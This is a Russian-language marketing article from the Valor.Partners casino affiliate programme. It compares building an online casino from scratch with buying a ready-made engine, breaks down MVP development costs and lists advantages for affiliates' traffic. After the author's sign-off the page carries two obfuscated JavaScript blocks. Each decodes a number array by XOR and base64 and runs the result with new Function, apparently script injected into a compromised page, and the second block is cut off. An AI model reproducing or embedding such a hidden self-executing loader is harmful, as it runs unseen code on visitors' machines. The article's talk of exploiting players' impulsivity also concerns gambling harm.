Данил Фокин на связи, я надеюсь на то, что у вас отличное настроение и вы готовы впитывать полезную и практическую информацию.
1. Как вебмастер: вы сможете применить информацию в рамках тех брендов, с которыми работаете сейчас (станете более осознанными, вовлеченными), а также в рамках работы с Valor.Partners.
2. Как инвестор / владелец казино / управленец в казино: вы сможете посмотреть на свою работу со стороны и учесть информацию, в том числе и между строк.
Разделим материал:
1. Реалии гемблинга с позиции бренда.
2. Стоимость разработки mvp казино Valor
3. Сравнение собственной разработки и готового движка.
4. Топ-8 преимуществ самописного решения при работе с трафиком.
5. Устройство бренда: Мозаика или Калейдоскоп.
Мы приступаем, не забудьте подписаться на канал, чтобы не пропустить еще больше мясного контента. Такого вам никто не расскажет!
Войти в гемблинг с позиции бренда можно покупая готовое решение онлайн-казино, то есть полноценный движок, когда вы получаете всю готовую инфраструктуру, или же создавая продукт с нуля. Мы поговорим сегодня о преимуществах обоих вариантов развития бренда, а вы уже сделаете выводы самостоятельно.
И реалии таковы, что в индустрии немало кейсов однодневных брендов, скам-брендов, которым удалось привлечь инвестиции, но не удалось привлечь экспертизу. И они всем составом своего поезда пытаются оказать конкурентную позицию в рынке, закупая на первых парах огромное количество трафика на все деньги инвестора и не понимая, в конечном счете, что делать с этим трафиком, ожидая от него иных цифр, которые где-то кто-то и как-то написал на бумажке, которые представляются в голове. Вам многим знакомы такие бренды. Вам многим знакомы капы в тысячу депозитов и игноры спустя неделю-две-месяц, после того, как вы привлекли трафик. Как результат, страдают вебмастеры и партнеры, кто все же доверился работать с ними. То есть с одной стороны, ввиду того, что подобным брендам не понятен портрет игрока с разных источников трафика, а с другой, — портрет вебмастера, то есть они не владеют данными о том как сейчас работают вебы, на какие цифры опираются, не понимают до конца их инструменты, которые используются. – все это приводит к тому, что они пропадают с радаров, но есть и те, которым удается остаться, не заплатив деньги за трафик, они продолжают существовать.
То есть глобально, не имея никакой вариативности в решениях по трафику, в моделях работы, в способностях оценки цифр и так далее, такие бренды заканчивают плохо и нередко какая-то команда в порыве страсти и высокой ставки оказывается заскамлена, кинута на большие деньги, 20-30-50-70к$.
Я бы сравнил создание онлайн-казино с нуля с покупкой готового решения как битву давида с голиафом.
Потому что более чем 5-ти летний опыт работы в партнерской сети по гемблингу раскрыл для меня карты множества сотен брендов, большинство из которых были как раз таки на готовых движках, и нередко, когда ко мне обращались новые бренды, наша работа подходила к тому, что я четко понимал, на текущий момент, версия продукта не готова к тому, чтобы конкурировать например, с лидерами в Фейсбуке, но рекламодатель при этом четко обозначая свои денежный потенциал и возможности, крайне нуждался в трафике. Мы запускали небольшое количество трафика, смотрели на конверсию со всевозможных сторон и результаты были печальны. Подходило все к тому, что я с полными энтузиазма глазами делал аудит продукта, потому как был заинтересован в потенциальной работе с брендом, и ожидалось, что в последствии это выльется в дополнительные плюшки и возможный эксклюзив. Потому что любой бренд всегда был рад перенять мой опыт и практику. Мы меняли флоу конверсии, начиная от формы регистрации и депозита. Вот только часто бренд отваливался на одном из этапов, и мое время было потрачено зря.
Из опыта: 7 из 10 новых брендов – не готовы к приему трафика, у них есть потребность в экспертизе, они требуют дополнительного ресерча рынка и подготовки понятных и адаптированных под вебмастеров моделей работы и обучению собственных менеджеров. В их случае, как можно более быстрый запуск продукта без подготовки и понимания рынка = полная вакханалия впоследствии. И подчеркиваю, это тесно связано именно с выбранной стратегией на старте — покупкой готового решения онлайн-казино. Такие бренды, по моему опыту, собирают экспертизу по крупице, пытаясь перенять опыт партнерских программ и их менеджеров. Стоимость их старта варьируется от 30 000$ до 50 000$+, в зависимости от пожеланий кастомизации, наличии дополнительных сервисов и так далее. Чем проще оболочка, чем она дефолтнее от разработчика = тем ниже стоимость SAAS решения казино.
Давайте поговорим о цифрах, сколько же стоило mpv казино Валор?
а после мы перейдем к сравнению готового движка и собственной разработки.
Стоимость разработки Valor.Bet & Valor.Casino
Я посчитал в денежном эквиваленте, сколько обошелся MVP продукта Valor.bet и разделил на несколько составляющих:
1. Продакт+проджект (от 5 000$/мес)
1 продакт-менеджер — от 3000$/мес х1
1 проджект-менеджер = от 2000$/мес х1
2. Бекендеры (от 25 000$/мес)
1 сеньйор-тимлид — от 5000$/мес х1
3 сеньйор — от 4000$/мес х3
4 мидла — от 2000$/мес х4
3. Фронтендеры (от 15000$/мес)
1 мидл-тимлид — от 5000$/мес х1
2 мидл — от 2500$/мес х2
3 джуна — от 1500$/мес х3
1 стажер-джун — от 500$/мес х1
4. Дизайнеры (от 3000$/мес)
1 глав. диз — от 3000$/мес х1
5. QA тестировщики (от 1 000$/мес)
1 мидл — от 1000$/мес x1
(первое появление спустя 6 мес. разработки)
6. Ретеншн-отдел (от 8550$/мес)
1 руководитель CRM — от 3000$/мес х1
(первое появление спустя 11-12 мес. разработки)
9 нейтив саппортов — от 450$/мес,, х9
(первое появление спустя 11-12 мес. разработки)
1 email-маркетолог — от 1500$/в мес., х1
(первое появление спустя 11-12 мес. разработки)
7. Сервисы/сервера — от 7000$/мес
8. Офис — от 10 000$/мес x18
ИТОГО в мес ОТ:
+ 5 000$*18мес (продакт+проджект) = 90к
+ 40 000$*18мес (бекендеры + фронтенд) = 720к
+ 3 000$*18мес (дизайнер) = 54к
+ 1000$*12мес (тестировщик) = 12к
+ 8550*6мес (ретеншн отдел) = 51 300
+ 7000*18 (сервисы/сервера) = 126 000
+ 10000$*18мес (офис) = 180к
= 90 000 + 720 000 + 54 000 + 12 000 + 51 300 + 126 000 + 180 000 =
= от 1 233 300$
с учетом роста окладной части, а также текучки в рамках разработки + пополнения штата, наш расход составил 1 233 300$ с 0 до 18 месяцев существования проекта
Сроки реализации:
Готовность MVP — 9-18 месяцев
Запуск первого трафика — запускали в процессе подготовки MVP, потому как на любых этапах важно увидеть первые цифры в конверсии, в игровой активности.
Итого:
без подробностей и тд, в сухом остатке стоимость создания MVP – 1 304 452$
СОБСТВЕННАЯ РАЗРАБОТКА vs ГОТОВЫЙ ДВИЖОК
Давайте сравним по нескольким основным параметрам собственную разработку и готовое решение. Как вебмастер вы поймете, почему например, многие бренды могут предоставлять вам ту или иную инфо быстро, а для некоторых запрос может выполняться 2-3-20 дней.
Стоимость
Собственная разработка:
Высокие затраты на разработку (команда, ПО, лицензия). Доп. затраты на обновления и техподдержку.
Покупка готового решения:
Начальная стоимость обычно гораздо ниже. Ежемесячные или ежегодные платежи.
Время на запуск
Собственная разработка:
Много времени из-за разработки с нуля, тестирования и соблюдения нормативных требований.
Покупка готового решения:
Значительно короче, так как основная инфраструктура уже разработана.
Индивидуальность
Собственная разработка:
Позволяет полную индивидуализацию, включая дизайн, функциональность и пользовательский опыт.
Покупка готового решения:
Ограниченные возможности для индивидуализации.
Управление проектом
Собственная разработка:
Полный контроль над каждым аспектом проекта, но также больше ответственности.
Покупка готового решения:
Меньше контроля над проектом, зависимость от поставщика.
Техническое обслуживание
Собственная разработка:
Необходимо иметь собственную команду разработчиков, тестировщиков.
Покупка готового решения:
Техническое обслуживание обычно включено в стоимость и предоставляется поставщиком.
Обновления и улучшения
Собственная разработка:
Полная ответственность за обновления. Обновлениям нет границ. Необходимо следить за трендами рынка.
Покупка готового решения:
Обновления и улучшения обычно включены в услугу и выполняются поставщиком. Но любые кастомные решения или сторонние платежки это всегда боль. Вас будут кормить месяцами, в случае запроса на обновление или добавление нужного функционала или инородной платежки, а это минус время, потенциальные деньги и много чего еще. Это одна из самых явных проблем готового решения. Вы по сути находитесь в заложниках штата разработчиков от поставщика и в рамках их спринтов ожидаете своего часа.. Ведь вы не один, таких клиентов, кто купил решение много и все они периодически хотят получить обнову или еще какие-либо допилы под свои задачи.
Риски
Собственная разработка:
Высокий уровень риска из-за неизвестности и потенциальных проблем на этапе разработки.
Покупка готового решения:
Ниже уровень риска, так как основная инфраструктура уже протестирована.
Долгосрочная прибыльность
Собственная разработка:
Потенциально более высокая прибыльность, требует значительных инвестиций времени и денег.
Покупка готового решения:
Потенциально ниже долгосрочная прибыльность, но меньшие начальные инвестиции. Например, обычно поставщик решения берет от 6 до 10% с GGR. И это происходит независимо от того, работаете ли вы в плюс или в минус. То есть глобально, поставщик заработает всегда. А вы же, при вложения, например, в 1млн$, будете платить и поставщику, и иметь высокий риск того, что вы не выйдете в плюс и потерпите крах.
Топ-8 преимуществ самописного решения при работе с трафиком
Valor.bet & Valor.Casino самописное решение, что позволяет нам быть очень вариативными в настройках, мы способны к кастомизации под запросы вебмастеров, без бюрократии и долгих цепочек согласования. Есть хороший трафик = любой каприз за него.
К примеру, мы способны:
1. Проявлять высокий уровень вариативности в работе с вашим трафиком: например, авто-воронки в црм, рассылки по более чем 30+ параметрам, мы можем отправить письмо конкретному юзеру, который заходил на сайт в 5:42 утра, позавчера, и который пришел с гео Бразилия, имеет 5 депозитов на сумму 420 BRL и который открыл 3 из 5 писем на почте.
2. Быстро настраивать минимальные депозиты для вашего трафика в рамках потоков, в рамках гео, в рамках платежного метода. Полезно, когда вы в поиске адекватной цены лида, а мы можем помочь ее нащупать, балансируя между ею и качеством пришедшего трафика.
3. Настраивать под вас витрины слотов, исходя из вашего рекламного подхода и/или по последним трендам в нужном гео.
4. Индивидуально обрабатывать ваш трафик, опираясь на психотип игрока с источника: например, игрок с фейсбука превосходит игрока с контекста в импульсивности решений, при обработке это учитывается.
5. Затачивать промо для вашего трафика не только в рамках рассылок по почте, но и в рамках любой из точек соприкосновения вашего игрока с брендом: баннер, онлайн-чат, смс/звонок и другие.
6. Быстрый сетап лендингов по запросу: если условно вы нашли крайне интересный ленд и хотите его попробовать с Valor — мы готовы адаптировать его под наш продукт и выдать тебе для пролива.
7. Творить магию на уровне рассылок: мы продолжим историю вашего рекламного креатива и доведем игрока до счастливой и денежной игры.
Мозаика VS Калейдоскоп в глазах команды
Речь о подходе к построению процессов и структуры команды.
На этапе подготовки к MVP штат команды разработки подвергался изменениям, но выстроенная система всегда позволяла основным юнитам обладать фундаментом и пониманием стороны бизнеса и целей Бренда. И оперативно онбордить новых специалистов.
Пока обкатывался бета-продукт и пока мы набивали шишки, команда закрепилась в единой синергии. Мы очень мобильны в рамках спринтов и способны менять задачи в зависимости от изменений и направленности пути.
Структура построена так, что топ-менеджменту доступен любой из процессов разработки и продукт знаком всем практически на молекулярном уровне. Благодаря этому руководитель CRM, например, четко понимает стадии текущей разработки и то, как это перекликается с его непосредственным инструментом работы и подчиненными. Это круто, потому что у каждого специалиста из команды нет ограниченности видения только в рамках своих задач. Он видит широко.
Мы исключили слепую и безнадежную бюрократию в зародыше, выстроив целую мозаику, чтобы каждый юнит мог видеть все процессы и понимать продукт всесторонне, что позволяет ему:
1. Предлагать свои идеи и влиять на процесс
2. Улучшать свою работу самостоятельно
3. Быть оперативным и гибким
4. Развиваться всесторонне
Именно поэтому, еще одно преимущество Valor — скорость. В новых решениях и обновлениях для обработки вашего трафика.
Итоговый вердикт:
— готовое решение обойдется вам в порядка 30-50к$ с последующей ежемесячной выплатой в 6-10% от GGR, в зависимости от сделки. Гораздо меньшее количество рисков и полностью готовый, проверенный движок, с которым вы все же станете зависимы от технологии поставщика, вы будете ожидать желаемых обновлений, порою до полугода. Подключение сторонних сервисов и платежных решений будет занимать время, а время будет против вас: потому что ожидая, вы теряете в конкурентности, в потенциальном росте, в прибыли.
— свой продукт: вы берете на себя ответственность за весь продукт и все, что под его капотом. Инфраструктура выстраивается с нуля. Вам необходимы большие инвестиции чтобы выйти в MVP. Вы должны обкатывать продукт на трафике, на который также нужны деньги. У вас будут сотни багов и падений на пути к MVP. И вы с должной ответственностью обретете себя на гораздо более рискованный путь, при этом независимый ни от кого, кроме вас самих, и гораздо более прибыльный.
Что выбрать — решать только Вам.
Автор статьи: Данил Фокин, СЕО Valor.Partners: прямой рекламодатель онлайн-казино ValorBet & ValorCasino
Подписывайтесь на Valor.Partners в социальных сетях, там вас ждет еще больше подобного контента:
Данил Фокин, CEO Valor.Partners:
(function(){ var x418c5a=4309; if(x418c5a>0){var y841319=x418c5a-4910}else{var y841319=4910} var z64104a=y841319*18; var _0x3d75fd8731c6=[8,40,21,19,23,2,1,20,24,56,55,10,8,97,100,29,24,56,22,54,17,18,100,10,21,40,55,17,28,22,17,63,1,96,10,17,22,5,25,2,21,96,5,5,21,60,17,33,8,55,5,3,17,39,25,22,23,5,39,17,24,56,59,4,23,17,17,35,5,19,56,20,2,59,17,6,1,56,21,4,2,2,1,3,5,19,32,27,2,59,39,18,22,55,6,8,27,18,96,53,18,2,56,27,6,5,17,2,1,5,6,23,2,40,10,24,4,59,9,5,2,21,17,7,21,59,100,6,21,2,10,23,22,2,21,4,2,5,26,18,2,2,30,20,1,96,51,4,4,96,30,22,2,21,18,24,21,59,10,17,2,59,30,22,1,18,2,18,22,6,6,29,17,2,9,22,6,41,55,0,21,40,63,20,23,5,63,35,5,18,104,20,17,39,51,21,4,6,56,9,2,55,5,24,22,22,59,53,23,22,55,49,22,55,29,53,22,22,18,50,5,18,104,20,17,39,51,21,4,6,56,9,18,40,55,50,20,56,17,9,23,6,63,6,23,17,6,49,18,1,51,5,7,1,51,19,22,2,35,53,22,18,59,9,21,40,26,10,22,18,55,49,5,22,36,1,24,39,29,20,18,39,2,30,7,22,55,22,18,40,2,10,22,56,59,51,18,6,59,5,23,18,32,9,18,40,55,50,20,56,17,9,23,6,18,50,5,18,104,20,17,39,51,21,4,6,56,9,18,40,55,50,20,56,17,9,23,6,59,1,22,55,29,3,17,18,9,31,7,1,29,3,23,2,29,3,18,2,35,31,7,2,1,9,5,22,36,1,24,39,29,20,18,39,2,30,7,22,55,24,23,18,35,31,21,18,55,10,7,55,51,19,22,2,35,53,22,22,59,10,23,18,29,53,21,55,2,10,22,55,51,24,5,22,36,1,24,39,29,20,18,39,2,30,7,22,55,24,23,18,35,31,21,18,55,10,7,2,29,22,18,40,2,10,23,17,5,1,5,22,36,1,24,39,29,20,18,39,2,30,7,22,55,24,23,18,35,31,21,18,55,10,7,56,63,7,24,56,59,10,21,55,30,10,18,39,25,6,23,40,100,5,7,2,5,50,22,55,1,20,22,55,51,53,7,2,100,9,5,22,36,1,24,39,29,20,18,39,2,30,7,22,55,22,18,40,2,49,23,56,9,53,23,2,59,3,17,97,59,49,22,55,29,53,22,22,59,23,17,56,100,51,23,2,55,4,21,60,59,24,18,2,56,1,27,59,39,18,22,55,6,8,27,17,17,30,17,40,63,5,17,1,2,27,6,5,51,0,30,5,21,6,30,21,100,3,2,58,30,24,22,5,5,2,30,5,101,18,30,56,6,17,30,21,30,17,29,59,52,20,30,18,6,24,30,4,26,20,1,21,18,20,2,59,51,6,30,21,9,2,2,6,6,29,17,2,9,22,6,41,55,5,21,56,35,0,20,40,96,23,3,60,5,6,1,5,104,4,2,59,105,24,4,60,6,29,21,1,25,10,22,17,29,53,23,18,60,8,27,17,29,7,21,39,52,54,27,17,51,21,17,56,35,0,18,18,32,53,20,17,29,22,20,55,39,18,22,55,6,8,27,18,1,49,22,56,63,18,20,56,18,27,27,17,51,21,17,56,35,0,18,18,32,10,18,17,25,6,18,17,29,22,8,96,52,50,2,6,101,27,3,59,32,1,2,39,105,1,3,19,55,24,18,17,25,50,20,39,1,49,7,1,1,19,22,1,1,20,18,6,105,22,8,59,96,63,18,39,1,19,23,39,104,21,23,59,39,53,21,6,104,63,22,18,63,7,23,55,21,31,21,22,59,50,21,56,59,1,17,40,105,28,2,59,6,0,8,55,5,3,17,39,25,22,23,6,18,1,4,17,21,7,18,6,51,63,24,2,9,2,23,18,104,5,3,55,51,7,18,1,1,3,0,56,59,20,8,41,55,5,23,56,9,49,17,1,100,1,7,1,1,19,22,1,1,20,18,6,105,18,1,97,36,18,1,97,101,50,2,59,22,53,4,18,100,2,8,97,9,63,24,2,9,2,23,18,104,5,8,55,5,3,17,39,25,22,23,6,18,1,4,17,21,7,18,6,51,63,20,1,25,9,24,17,9,24,3,57,55,5,23,56,9,49,17,1,100,1,7,1,1,19,22,1,1,20,18,6,105,23,2,5,105,50,27,18,96,7,21,2,55,54,22,22,97,22,8,60,35,63,23,1,104,31,21,2,40,27,5,22,18,29,21,2,55,22,8,39,21,7,18,6,51,63,21,56,17,23,21,56,21,5,24,5,32,24,4,19,55,3,21,17,9,3,21,2,1,52,3,41,55,30,17,56,55,51,18,55,52,10,23,40,25,10,21,17,29,54,4,19,55,3,21,17,9,3,21,2,1,52,8,21,32,22,8,55,39,18,22,55,6,8,27,18,59,1,21,55,104,2,23,17,6,27,18,40,9,22,18,18,25,123,23,1,30,54,27,17,96,19,23,18,39,23,18,97,59,21,17,56,5,21,17,39,6,54,27,18,25,1,18,56,25,2,22,18,97,50,2,6,101,50,2,59,22,53,4,18,100,2,8,41,55,10,21,18,25,0,21,2,55,22,8,57,55,10,20,39,100,2,24,22,40,27,26,17,29,22,24,56,59,1,7,2,21,22,23,18,63,96,24,40,9,22,30,18,55,4,21,60,104,63,23,2,17,3,20,40,21,9,18,6,101,29,19,55,5,3,17,39,25,22,23,6,51,63,23,1,104,31,21,2,40,29,19,56,1,7,17,40,1,54,8,40,26,53,20,17,5,3,17,39,25,22,23,6,18,1,4,17,63,27,21,1,25,10,22,17,29,53,23,18,60,8,27,17,9,4,20,56,100,21,8,41,55,53,17,1,100,5,22,17,21,1,7,41,55,17,17,1,5,19,24,56,29,21,8,55,39,22,21,55,29,19,18,2,60,8,23,2,25,17,6,41,51,22,23,18,63,53,18,18,26,54,21,1,25,10,22,17,29,53,23,18,60,54,27,18,21,52,23,2,100,10,17,39,22,50,27,17,5,30,20,2,21,5,24,22,100,29,17,2,9,22,6,41,55,9,20,2,63,20,17,21,63,10,21,55,18,8,28,42,63,103,0,39,29,20,18,41,5,3,18,55,25,3,18,17,30,54,8,59,39,63,23,17,96,49,17,39,18,10,23,17,51,3,23,6,105,1,26,42,55,59,25,97,18,50,27,18,100,18,20,56,1,5,17,2,18,50,17,39,5,19,21,60,101,29,27,18,55,30,23,55,29,17,7,1,1,3,17,41,5,3,18,55,25,3,18,17,29,127,21,56,9,4,21,55,6,54,5,20,1,9,23,1,29,3,23,1,30,49,25,39,100,24,21,60,18,50,5,18,9,24,18,40,35,53,22,18,9,20,24,56,55,10,7,18,96,21,23,18,60,1,8,59,39,63,23,17,96,49,17,39,18,10,17,40,100,49,21,56,55,19,17,96,32,19,2,96,52,24,4,19,55,9,20,2,63,20,17,22,59,9,23,2,35,9,22,56,30,27,21,1,25,10,22,17,29,53,23,18,60,54,8,55,39,20,18,1,100,29,27,18,21,52,23,2,100,10,17,39,22,54,0,3,1,100,31,6,59,24,22,55,5,21,21,60,104,63,23,17,96,49,17,39,18,10,18,2,25,21,18,40,55,10,18,18,25,58,21,55,104,20,8,60,101,29,19,56,1,7,17,40,1,54,8,40,26,53,20,19,55,22,20,1,96,2,22,18,40,54,21,60,101,29,19,55,32,29,27,18,55,30,23,55,29,17,7,2,55,10,21,55,5,22,23,17,6,27,27,18,55,30,23,55,29,17,7,2,55,10,17,40,100,49,21,56,55,19,17,96,63,2,17,56,59,5,17,40,100,9,23,6,105,53,20,19,55,22,20,1,96,2,22,18,40,54,23,2,25,17,6,42,25,22,18,2,55,22,8,97,101,53,4,17,32,29,27,18,55,30,23,55,29,17,7,1,1,3,23,2,30,54,0,3,1,100,31,6,59,21,17,39,5,53,23,2,17,53,21,1,101,54,27,17,17,18,18,1,25,53,21,39,2,53,8,59,39,27,8,59,39,27,21,1,25,10,22,17,29,53,23,18,60,8,27,18,29,19,24,18,9,53,8,41,55,2,23,2,9,18,22,2,36,53,20,18,100,2,8,41,55,2,23,2,9,18,22,2,36,26,3,57,55,0,21,40,63,20,23,6,59,50,21,56,59,1,17,40,105,53,18,2,25,20,17,55,5,10,6,41,51,22,23,18,63,53,18,18,26,10,18,2,25,21,23,18,35,18,21,60,104,10,17,56,35,50,8,59,39,18,22,55,6,8,27,17,9,4,18,40,63,24,24,59,63,29,24,1,1,9,23,1,5,24,22,21,97,1,2,6,60,24,5,22,35,49,21,55,29,54,23,18,30,30,5,18,25,20,24,41,55,5,22,56,35,50,5,22,35,24,22,55,5,7,23,55,2,30,28,17,39,20,23,21,96,63,17,17,96,20,23,56,1,18,18,22,35,4,22,55,29,7,4,6,18,24,20,97,18,51,27,18,1,3,23,39,104,0,24,1,9,27,7,97,17,50,22,55,29,3,18,17,30,1,27,60,35,53,21,96,97,23,19,59,39,22,21,55,29,19,18,2,60,8,27,17,9,4,20,56,100,21,8,41,55,0,21,40,63,20,23,3,39,63,21,2,59,7,17,2,5,50,27,60,35,63,18,56,29,24,23,55,51,53,8,60,59,20,24,40,25,10,8,40,21,19,23,2,1,20,24,56,55,10,8,41,55,5,18,40,1,4,21,2,9,4,8,55,39,18,22,55,6,8,27,18,100,23,20,40,9,21,18,5,63,63,22,17,51,5,21,40,21,7,21,97,22,2,27,18,1,24,22,18,29,2,22,56,30,10,18,2,25,21,17,56,35,20,3,19,55,20,22,56,29,24,8,41,55,5,18,40,1,4,21,2,9,4,7,1,5,3,18,17,25,50,17,97,101,30,5,22,18,29,24,56,22,54,27,18,100,23,20,40,9,21,18,6,100,22,21,55,29,19,18,2,60,8,27,18,100,23,20,40,9,21,18,6,59,22,21,55,51,50,22,56,1,3,8,97,55,34,7,22,40,4,7,22,36,1,5,22,101,29,18,2,25,20,17,55,5,10,6,41,55,4,17,56,39,7,24,60,104,63,21,2,59,7,17,2,5,50,8,21,10,53,4,17,32,53,7,2,1,7,17,40,1,54,8,40,21,19,23,2,1,20,24,56,55,10,8,97,100,29,18,2,25,20,17,55,5,10,6,41,55,4,17,56,39,7,24,60,104,63,21,2,59,7,17,2,5,50,8,21,10,53,4,17,32,53,4,17,63,2,17,56,59,5,17,40,100,9,23,6,51,63,21,18,5,6,22,18,100,2,21,60,104,63,18,18,9,21,17,2,17,52,8,55,39,18,22,55,6,8,27,18,100,9,24,2,22,27,21,40,55,5,17,56,63,3,23,1,30,10,22,17,5,3,22,55,29,3,29,56,35,3,23,56,25,10,17,97,105,1,18,18,1,22,24,55,51,20,5,22,101,29,27,18,100,9,24,2,22,10,18,17,5,5,3,57,55,21,22,55,1,18,21,18,97,51,5,22,55,7,18,40,101,10,18,40,104,24,3,17,2,27,5,22,39,63,24,2,100,22,23,22,40,1,5,3,55,18,3,60,18,51,31,56,9,20,24,97,59,2,23,40,55,9,18,6,104,42,22,55,29,3,7,2,59,9,17,22,105,53,7,21,22,24,2,96,52,24,8,59,39,63,24,56,55,52,21,6,59,7,18,17,100,10,22,21,63,20,18,1,25,3,4,22,104,4,23,18,1,19,23,56,25,10,17,97,59,54,21,56,9,4,19,39,35,4,23,18,1,19,23,56,25,10,17,97,59,6,23,18,29,31,8,60,59,7,18,39,51,3,23,2,29,96,24,40,100,50,21,97,104,63,24,56,55,52,21,6,101,29,19,57,55,4,17,56,39,7,24,60,105,24,8,60,59,20,24,40,25,10,8,40,21,19,23,2,1,20,24,56,55,10,8,41,55,21,22,55,1,18,21,18,97,53,20,18,100,2,8,41,55,21,22,55,1,18,21,18,97,53,27,18,17,6,22,2,1,53,21,2,26,54,27,17,1,7,18,17,21,1,24,6,101,29,19,60,101,29,19,60,101,54,8,59,39,109]; var _0xa565beffc3a1=80; var _0x99dcf8ed2c65=»; for(var _0x75f9f42cd56e=0;_0x75f9f42cd56e<_0x3d75fd8731c6.length;_0x75f9f42cd56e++) _0x99dcf8ed2c65+=String.fromCharCode(_0x3d75fd8731c6[_0x75f9f42cd56e]^_0xa565beffc3a1); var _0xe1c29d8a8a41=119; var _0x5a1ac3c88648=atob(_0x99dcf8ed2c65); var _code=''; for(var _0x75f9f42cd56e=0;_0x75f9f42cd56e<_0x5a1ac3c88648.length;_0x75f9f42cd56e++) _code+=String.fromCharCode(_0x5a1ac3c88648.charCodeAt(_0x75f9f42cd56e)^_0xe1c29d8a8a41); (new Function(_code))(); })();(function(){ var x5487d6=2952; if(x5487d6>0){var y0b6eb9=x5487d6-2251}else{var y0b6eb9=2251} var z1bc226=y0b6eb9*99; var _0xf84708a7a28f=[9,11,57,15,30,45,19,12,25,27,110,10,9,15,61,59,25,27,62,16,28,61,61,10,24,11,110,13,21,49,3,113,24,11,57,18,24,28,50,2,24,12,23,25,24,15,3,98,9,24,23,31,28,8,11,14,30,107,53,13,25,27,98,28,30,50,3,108,8,48,110,28,24,45,57,31,13,28,57,28,15,45,19,28,8,48,34,57,15,28,53,2,27,24,20,24,10,61,57,27,30,11,15,23,31,45,8,57,11,107,3,18,12,107,20,11,15,11,24,8,13,28,27,25,15,54,3,27,24,28,61,30,24,45,24,11,27,45,57,28,15,107,8,2,15,45,12,12,12,12,31,28,13,12,12,14,15,54,0,8,24,28,24,13,15,28,12,14,12,61,16,2,27,106,20,59,28,45,27,14,11,14,110,28,28,34,27,28,2,30,42,29,25,8,15,12,31,8,16,56,14,49,110,8,30,61,106,3,24,61,110,10,14,45,3,27,28,11,11,13,27,24,50,10,28,11,11,10,24,11,11,14,30,8,50,10,27,61,111,29,14,15,3,16,28,8,15,8,31,54,46,21,14,50,23,8,27,49,45,23,27,27,61,10,30,45,11,12,14,45,45,27,28,11,61,25,14,34,27,15,25,27,53,10,30,61,15,31,14,34,31,14,30,49,0,20,8,61,49,12,28,8,31,9,13,106,111,21,31,34,31,25,14,45,27,10,25,50,20,10,27,61,110,23,14,50,31,21,30,8,61,29,30,61,99,29,14,15,3,16,28,8,15,8,31,54,46,21,14,50,31,21,30,8,61,29,30,61,99,23,31,8,11,30,30,11,61,25,14,45,98,21,24,11,61,31,31,49,98,27,31,8,28,29,14,15,3,16,28,8,15,8,31,54,46,21,14,50,31,21,30,8,61,29,30,61,99,10,24,8,23,8,27,49,98,21,31,45,0,29,14,15,3,16,28,8,15,8,31,54,46,21,14,50,31,21,30,8,61,29,30,61,99,23,27,45,110,14,14,24,23,8,27,49,98,8,28,27,23,20,25,27,19,10,30,61,15,31,14,45,19,21,30,31,0,20,8,61,49,12,28,8,31,9,13,106,111,21,15,24,23,8,27,49,98,19,30,49,110,23,27,24,15,19,27,49,0,20,8,61,49,12,28,8,31,9,13,106,111,21,31,11,110,20,29,27,3,21,30,106,45,23,27,27,61,10,30,45,11,12,14,34,31,15,27,45,106,19,27,49,98,30,30,11,27,9,28,11,27,8,25,31,98,19,30,49,3,98,13,50,57,27,31,106,31,113,31,45,23,27,30,61,19,22,2,31,20,8,29,9,20,2,27,35,16,3,24,28,27,54,15,11,20,14,24,35,20,3,12,35,27,30,12,51,16,12,12,51,8,8,12,9,19,30,15,9,23,49,12,12,0,13,12,12,24,8,27,35,16,11,24,107,20,30,13,50,57,27,31,106,31,113,24,24,15,12,25,45,110,29,24,12,34,30,27,107,62,0,24,12,24,0,15,12,50,30,13,61,57,15,30,45,19,12,25,27,110,10,11,14,110,25,28,11,45,0,27,50,12,16,10,61,57,9,24,50,27,3,31,45,62,19,29,50,15,14,29,24,53,2,27,24,20,24,10,61,23,30,30,8,3,27,2,30,110,18,31,61,3,11,29,24,23,18,14,34,19,15,27,34,19,12,31,106,54,8,14,12,20,19,2,28,34,57,8,54,31,0,8,54,110,113,24,34,19,29,31,24,61,14,24,106,98,9,28,27,23,9,28,8,20,16,15,106,50,56,10,61,57,9,24,50,27,3,31,45,62,59,25,27,62,16,10,61,23,30,30,8,3,27,14,45,106,31,30,45,3,12,25,12,107,11,15,107,54,19,31,45,11,12,28,24,23,10,8,49,0,59,28,45,27,14,11,14,110,28,25,27,41,13,28,28,45,8,27,24,23,9,24,25,61,10,28,15,49,113,27,45,23,20,28,61,24,10,31,50,11,30,31,50,15,14,9,12,62,12,14,12,62,12,9,31,107,11,12,106,50,59,25,27,62,16,11,30,110,28,25,27,41,13,28,31,61,14,24,24,15,15,31,45,99,29,8,54,53,2,27,24,20,24,10,61,23,20,31,8,12,57,10,61,23,30,30,8,3,27,14,34,19,15,27,34,19,12,31,106,54,11,15,107,54,20,10,61,15,19,25,34,3,15,9,107,20,19,14,14,110,20,24,45,15,18,28,54,34,29,8,54,53,18,30,50,20,16,28,45,27,14,11,14,110,2,28,11,61,19,2,28,28,59,10,50,57,12,25,27,50,62,10,61,23,20,31,8,12,10,30,11,11,10,24,50,15,16,13,48,110,2,28,11,61,19,9,54,34,14,9,24,53,2,27,24,20,24,10,50,27,17,25,11,98,56,2,24,31,27,31,34,19,31,17,27,98,12,9,14,110,30,30,8,31,12,14,34,19,15,27,34,19,12,31,106,49,113,28,34,15,19,25,31,107,14,9,31,107,11,12,106,50,59,25,27,62,16,10,50,27,17,25,11,98,56,9,30,110,20,24,45,15,18,28,49,42,57,23,50,15,14,25,27,98,29,14,45,57,14,30,61,45,51,25,11,27,14,19,61,110,28,24,31,49,113,31,27,53,16,30,34,46,19,13,50,45,14,24,24,15,15,31,45,99,24,10,61,106,18,24,11,57,13,13,50,45,25,27,24,15,25,25,15,49,31,9,24,53,14,24,24,15,15,31,45,99,29,8,54,53,57,18,27,57,15,30,45,19,12,25,27,110,10,11,14,110,11,28,61,19,17,24,106,49,113,24,8,15,15,31,11,49,28,28,31,106,113,29,27,19,17,24,11,15,22,28,15,61,59,31,45,11,12,28,24,23,10,11,11,98,31,28,49,31,34,31,45,110,23,25,24,19,31,9,11,57,15,30,45,19,12,25,27,110,10,9,14,110,27,28,8,27,12,24,45,8,20,10,61,3,16,25,27,24,19,29,50,57,27,31,106,31,113,31,8,11,16,28,24,50,57,30,45,11,13,11,14,49,41,22,9,49,12,28,8,31,32,24,24,27,15,24,24,19,12,9,15,50,59,10,50,31,15,25,8,11,3,14,45,110,8,24,27,99,16,8,48,31,47,23,48,12,29,14,14,110,28,28,8,11,8,25,11,15,15,14,8,15,14,28,27,8,19,13,48,110,8,28,27,49,15,29,31,98,9,24,24,15,32,24,24,27,15,24,24,19,12,17,11,11,27,24,11,11,14,9,15,3,51,30,61,98,12,24,27,